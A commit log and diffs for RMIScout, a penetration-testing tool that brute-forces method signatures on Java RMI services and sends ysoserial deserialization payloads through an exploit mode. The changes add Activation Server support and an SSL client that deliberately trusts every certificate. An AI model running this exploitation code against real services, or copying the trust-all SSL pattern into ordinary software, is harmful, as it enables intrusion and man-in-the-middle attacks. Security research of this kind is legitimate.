6 Commits
Author SHA1 Message Date
Jake Miller cdcf928817 bump version 2020-08-04 17:32:21 -04:00
Jake Miller 96517c45de Add Dockerfile 2020-08-04 17:24:49 -04:00
Jake Miller 4e8d985bf9 Add support for RMI SSL
RMIScout first attempts cleartext communication, falling to an all-trusting SSL
connection, as it is less common. Saves users from dealing with
keystores/validation for something they're trying to exploit XD.
2020-08-04 17:20:06 -04:00
Jake Miller bf05aa1709 v1.01 2020-06-11 12:40:50 -04:00
Jake Miller f2ea8cb5f5 Added RMI Activation Server support
RMI Activation is a deprecated part of the RMI subsystem. But, there
may be some users who still encounter these old servers. Adding support
through the --activation-server. Detection is added, as well. Fixes #3
2020-06-11 11:14:53 -04:00
Jake Miller 831d81bff1 Fix retrieval remote reg interface name 2020-06-10 17:38:56 -04:00
13 changed files with 246 additions and 33 deletions

No files matched your search

+6
View File
@@ -0,0 +1,6 @@
FROM openjdk:8
COPY . /rmiscout
WORKDIR /rmiscout
RUN ./gradlew shadowJar
ENTRYPOINT ["./rmiscout.sh"]
CMD ["-h"]
+3 -3
View File
@@ -51,7 +51,7 @@ Read a [full technical writeup here](https://know.bishopfox.com/research/rmiscou
```
# Perform wordlist-attack against remote RMI service using wordlist of function prototypes
./rmiscout.sh wordlist -i prototypes.txt <host> <port>
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
# Bruteforce using method wordlist and other options
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
@@ -68,7 +68,7 @@ Read a [full technical writeup here](https://know.bishopfox.com/research/rmiscou
Use the included `rmiscout.sh` script to automatically build the project and as a convenient wrapper around `java -jar` syntax:
```bash
./rmiscout.sh wordlist -i prototypes.txt <host> <port>
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
```
Alternatively, build the project manually and use traditional `java -jar` syntax:
@@ -77,7 +77,7 @@ Alternatively, build the project manually and use traditional `java -jar` syntax
# Manually build JAR
./gradlew shadowJar
java -jar build/libs/rmiscout-1.0-SNAPSHOT-all.jar wordlist -i prototypes.txt <host> <port>
java -jar build/libs/rmiscout-1.02-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
```
+1 -1
View File
@@ -5,7 +5,7 @@ plugins {
}
group 'com.bishopfox.rmiscout'
version '1.0-SNAPSHOT'
version '1.02-SNAPSHOT'
mainClassName = 'com.bishopfox.rmiscout.RMIScout'
@@ -1,3 +1,5 @@
package com.bishopfox.example;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.*;
+59
View File
@@ -0,0 +1,59 @@
package com.bishopfox.example;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.RMISecurityManager;
import java.rmi.server.UnicastRemoteObject;
import java.util.*;
import javax.rmi.ssl.SslRMIClientSocketFactory;
import javax.rmi.ssl.SslRMIServerSocketFactory;
public class SSLServer implements Hello {
public SSLServer() {}
public String sayHello() { return "Remote Executed!"; }
public String restart() { return "Remote Executed!"; }
public boolean login(String email, String password) { return true; }
public String sayHello(String name) { return "Remote Executed!"; }
public String sayNumber(int name) { return "Remote Executed!"; }
public String sayTest1(int name) { return "Remote Executed!"; }
public String sayTest2(byte name) { return "Remote Executed!"; }
public String sayTest3(short name) { return "Remote Executed!"; }
public String sayTest4(long name) { return "Remote Executed!"; }
public String sayTest5(char name) { return "Remote Executed!"; }
public String sayTest6(boolean name) { return "Remote Executed!"; }
public String sayTest7(float name) { return "Remote Executed!"; }
public String sayTest8(double name) { return "Remote Executed!"; }
public String sayTest9(Map name) { return "Remote Executed!"; }
public String sayTest10(HashMap name) { return "Remote Executed!"; }
public String sayTest11(List name) { return "Remote Executed!"; }
public String sayTest12(Object name) { return "Remote Executed!"; }
public ArrayList<String> say2things(String name, int test) { return new ArrayList<String>(); }
public static void main(String args[]) {
// Create and install a security manager
if (System.getSecurityManager() == null) {
System.setSecurityManager(new RMISecurityManager());
}
try {
Server obj = new Server();
Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 0);
//Registry registry = LocateRegistry.getRegistry();
// Create SSL-based registry
Registry registry = LocateRegistry.createRegistry(1099,
new SslRMIClientSocketFactory(),
new SslRMIServerSocketFactory());
registry.bind("thisisatest", stub);
System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
@@ -1,3 +1,5 @@
package com.bishopfox.example;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
@@ -34,7 +36,7 @@ public class Server implements Hello {
Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 0);
Registry registry = LocateRegistry.getRegistry();
registry.bind("Hello", stub);
registry.bind("thisisatest", stub);
System.err.println("Server ready");
} catch (Exception e) {
+4
View File
@@ -0,0 +1,4 @@
grant {
permission java.net.SocketPermission "*", "accept,resolve";
};
Binary file not shown.
+15 -5
View File
@@ -1,7 +1,17 @@
#!/bin/bash
rmiregistry &
PID=$!
javac *.java && java -classpath ./ -Djava.rmi.server.codebase=file:$PWD Server
kill $PID
javac com/bishopfox/example/*.java
if [ "$1" ]; then
echo "Starting SSL Server"
rmic -d . com.bishopfox.example.SSLServer
java -classpath ./ -Djava.rmi.server.codebase=file:$PWD \
-Djava.security.policy=resources/policy \
-Djavax.net.ssl.keyStore=resources/selfsigned.jks \
-Djavax.net.ssl.keyStorePassword=test123 \
com.bishopfox.example.SSLServer
else
rmiregistry &
PID=$!
java -classpath ./ -Djava.rmi.server.codebase=file:$PWD com.bishopfox.example.Server
kill $PID
fi
+2 -2
View File
@@ -1,6 +1,6 @@
#!/bin/bash
if [[ ! -f build/libs/rmiscout-1.0-SNAPSHOT-all.jar ]]; then
if [[ ! -f build/libs/rmiscout-1.02-SNAPSHOT-all.jar ]]; then
./gradlew shadowJar
fi
java -jar build/libs/rmiscout-1.0-SNAPSHOT-all.jar "$@"
java -jar build/libs/rmiscout-1.02-SNAPSHOT-all.jar "$@"
@@ -5,12 +5,17 @@ import javassist.bytecode.DuplicateMemberException;
import sun.misc.Unsafe;
import ysoserial.payloads.ObjectPayload;
import java.io.*;
import java.lang.reflect.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.*;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.RemoteRef;
import java.rmi.server.RemoteStub;
import java.security.SecureRandom;
import java.util.*;
@@ -23,6 +28,7 @@ public class RMIConnector {
private boolean allowUnsafe;
private Class dummyClass;
private static final int parameterTypesOffset = 52;
private boolean isActivationServer;
private static class Colors {
@@ -48,11 +54,26 @@ public class RMIConnector {
}
}
@SuppressWarnings("unchecked")
public RMIConnector(String host, int port, String remoteName, List<String> signatures, boolean allowUnsafe) {
public RMIConnector(String host, int port, String remoteName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer) {
try {
this.allowUnsafe = allowUnsafe;
this.registry = LocateRegistry.getRegistry(host, port);
this.isActivationServer = isActivationServer;
String[] regNames = null;
try {
// Attempt a standard cleartext connection
this.registry = LocateRegistry.getRegistry(host, port);
regNames = registry.list();
} catch (ConnectIOException ce) {
// Fallback to an insecure (all-trust) SSL Connection
this.registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
regNames = registry.list();
}
this.remoteRefs = new HashMap<>();
// Switch to custom classloader
@@ -65,28 +86,73 @@ public class RMIConnector {
generateDummyClass(defaultClassPool);
CtClass remoteInterface = defaultClassPool.getCtClass(Remote.class.getName());
String[] regNames;
// If remoteName is not specificied create a list of all remotes
if (remoteName != null) {
regNames = new String[]{remoteName};
} else {
regNames = registry.list();
}
// For each registry create interface bound with test methods
for (String regName : regNames) {
CtClass nInterface = defaultClassPool.makeInterface(regName, remoteInterface);
// Get remote interface name from exception
String interfaceName = "";
try {
registry.lookup(regName);
} catch (UnmarshalException e) {
if (e.detail instanceof ClassNotFoundException) {
interfaceName = e.detail.getMessage().split(" ")[0];
} else {
System.err.println("Error retrieving remote interface className for name '" + regName + "'");
System.exit(1);
}
}
String stubName = "DefaultStub";
if (isActivationServer) {
if (!interfaceName.isEmpty()) {
stubName = interfaceName;
}
interfaceName = "ActivationStub";
}
CtClass nInterface = defaultClassPool.makeInterface(interfaceName, remoteInterface);
generateStubs(nInterface, signatures);
if (isActivationServer) {
// Example ActivationStub
//
// All stubs have same hardcoded serialVersionUID = 2; https://bugs.openjdk.java.net/browse/JDK-4066716
//
// public class MyClass_Stub extends RemoteStub implements Remote
// {
// private static final long serialVersionUID = 2L;
// }
CtClass activationStub = defaultClassPool.makeClass(stubName, defaultClassPool.getCtClass(RemoteStub.class.getName()));
activationStub.setInterfaces(new CtClass[]{nInterface});
CtField f = new CtField(CtPrimitiveType.longType, "serialVersionUID", activationStub);
f.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.FINAL);
activationStub.addField(f, CtField.Initializer.constant(2L));
activationStub.toClass(customClassLoader);
}
originalClassLoader = Thread.currentThread().getContextClassLoader();
Thread.currentThread().setContextClassLoader(customClassLoader);
this.remoteRefs.put(regName, registry.lookup(regName));
this.remoteRefs.put(interfaceName, registry.lookup(regName));
}
} catch (RemoteException e) {
System.err.println(e.getMessage());
if (e.getMessage().contains("class invalid for deserialization")) {
System.err.println("RMI Activation Server detected. Re-run with --activation-server");
} else {
System.err.println(e.getMessage());
}
System.exit(1);
} catch (Exception e) {
e.printStackTrace();
@@ -117,6 +183,7 @@ public class RMIConnector {
System.out.println("Duplicate prototype: " + newmethod);
}
}
ctclass.toClass(customClassLoader);
} catch (CannotCompileException ce ) {
if (ce.getReason().contains(ctclass.getSimpleName())) {
@@ -230,9 +297,19 @@ public class RMIConnector {
Arrays.fill(fakeParameterTypes, payload.getClass());
// Bypass internal call flow for custom params
Field f = Proxy.class.getDeclaredField("h");
f.setAccessible(true);
RemoteObjectInvocationHandler ref = (RemoteObjectInvocationHandler) f.get(stub);
RemoteRef ref = null;
if (this.isActivationServer) {
Field f = RemoteObject.class.getDeclaredField("ref");
f.setAccessible(true);
ref = (RemoteRef) f.get(stub);
} else {
Field f = Proxy.class.getDeclaredField("h");
f.setAccessible(true);
ref = ((RemoteObjectInvocationHandler) f.get(stub)).getRef();
}
// Calculate MethodHash
Method m = RemoteObjectInvocationHandler.class.getDeclaredMethod("getMethodHash", Method.class);
@@ -254,7 +331,7 @@ public class RMIConnector {
}
// Invoke remote method
Object response = ref.getRef().invoke(stub, me, params, methodHash);
Object response = ref.invoke(stub, me, params, methodHash);
// This next line should only occur when allowUnsafe or when launching exploits
System.out.println("Executed Payload: " + methodSignature);
@@ -306,6 +383,10 @@ public class RMIConnector {
try {
CtClass ctClass = defaultClassPool.getCtClass(registryName);
ctClass.detach();
if (this.isActivationServer) {
defaultClassPool.getCtClass(pair.getValue().getClass().getName()).detach();
}
} catch (NotFoundException e) {
e.printStackTrace();
}
@@ -0,0 +1,46 @@
package com.bishopfox.rmiscout;
import java.io.*;
import java.net.*;
import java.rmi.server.*;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.cert.X509Certificate;
import javax.net.ssl.*;
public class RMISSLClientSocketFactory implements RMIClientSocketFactory, Serializable {
private SSLContext allTrustingSSLContext;
public RMISSLClientSocketFactory() {
try {
// Create a trust manager that does not validate certificate chains
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
public void checkClientTrusted(X509Certificate[] certs,
String authType) {
}
public void checkServerTrusted(X509Certificate[] certs,
String authType) {
}
} };
allTrustingSSLContext = SSLContext.getInstance("SSL");
allTrustingSSLContext.init(null, trustAllCerts, new java.security.SecureRandom());
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
} catch (KeyManagementException e) {
e.printStackTrace();
}
}
public Socket createSocket(String host, int port) throws IOException {
SSLSocketFactory factory = (SSLSocketFactory) allTrustingSSLContext.getSocketFactory();
SSLSocket socket = (SSLSocket)factory.createSocket(host, port);
return socket;
}
}
@@ -90,11 +90,14 @@ public class RMIScout {
wordlistMode.addArgument("-i", "--input").type(File.class).required(true).help("Wordlist of function prototypes");
wordlistMode.addArgument("--allow-unsafe").setDefault(false).action(Arguments.storeTrue()).help("Allow execution of void function guesses.");
wordlistMode.addArgument("--activation-server").setDefault(false).action(Arguments.storeTrue()).help("Support for deprecated RMI Activation Systems");
wordlistMode.addArgument("-n", "--registry-name").help(registryHelp);
wordlistMode.addArgument("host").help(hostHelp);
wordlistMode.addArgument("port").type(Integer.class).help(portHelp);
bruteforceMode.addArgument("-i", "--input").type(File.class).required(true).help("Wordlist of candidate method names");
bruteforceMode.addArgument("--allow-unsafe").setDefault(false).action(Arguments.storeTrue()).help("Allow execution of void function guesses.");
bruteforceMode.addArgument("--activation-server").setDefault(false).action(Arguments.storeTrue()).help("Support for deprecated RMI Activation Systems");
bruteforceMode.addArgument("-r", "--return-types").required(true).help("Set of candidate return types");
bruteforceMode.addArgument("-p", "--parameter-types").required(true).help("Set of candidate parameter types");
bruteforceMode.addArgument("-l", "--parameter-length").required(true).help("Candidate parameter length range expressed as a comma-delimited range EX: 1,4");
@@ -128,7 +131,7 @@ public class RMIScout {
// Split by types
HashMap<String, ArrayList<String>> sigMap = readFileToMap(ns.get("input"));
for (Map.Entry<String, ArrayList<String>> entry : sigMap.entrySet()) {
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), entry.getValue(), ns.get("allow_unsafe"));
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), entry.getValue(), ns.get("allow_unsafe"), ns.get("activation_server"));
}
break;
case "bruteforce":
@@ -150,7 +153,7 @@ public class RMIScout {
// Java Interfaces disallow different return types for otherwise identical prototypes
for (int i = 0; i < returnTypes.length; i++) {
signatures = generateMethods(ns.get("input"), returnTypes[i], paramRange, paramTypes);
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false);
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, ns.get("allow_unsafe"), ns.get("activation_server"));
}
break;
case "exploit":
@@ -158,7 +161,7 @@ public class RMIScout {
signatures = new ArrayList<>();
signatures.add(ns.get("signature"));
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false);
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false, ns.get("activation_server"));
rmisearch.exploit(ns.get("payload"), ns.get("command"));
rmisearch.cleanup();
break;
@@ -171,7 +174,7 @@ public class RMIScout {
GadgetProbe gp = new GadgetProbe(ns.get("dns_endpoint"));
List<String> classnames = readFileToList(ns.get("input"));
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false);
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false, ns.get("activation_server"));
for (String classname : classnames) {
rmisearch.execute(gp.getObject(classname));
}
@@ -184,13 +187,13 @@ public class RMIScout {
}
}
private static void process(String host, int port, String registryName, List<String> signatures, boolean allowUnsafe) {
private static void process(String host, int port, String registryName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer) {
// Perform batches of 1,000 dynamic methods to not exceed codesize limit of Proxy interface
final int batch_size = 1000;
for (int i = 0; i < (signatures.size()/batch_size)+1; i++) {
int lower = i*batch_size;
int upper = Integer.min(signatures.size(), (i+1)*batch_size);
RMIConnector rmisearch = new RMIConnector(host, port, registryName, signatures.subList(lower, upper), allowUnsafe);
RMIConnector rmisearch = new RMIConnector(host, port, registryName, signatures.subList(lower, upper), allowUnsafe, isActivationServer);
rmisearch.checkIfPresent();
rmisearch.cleanup();
}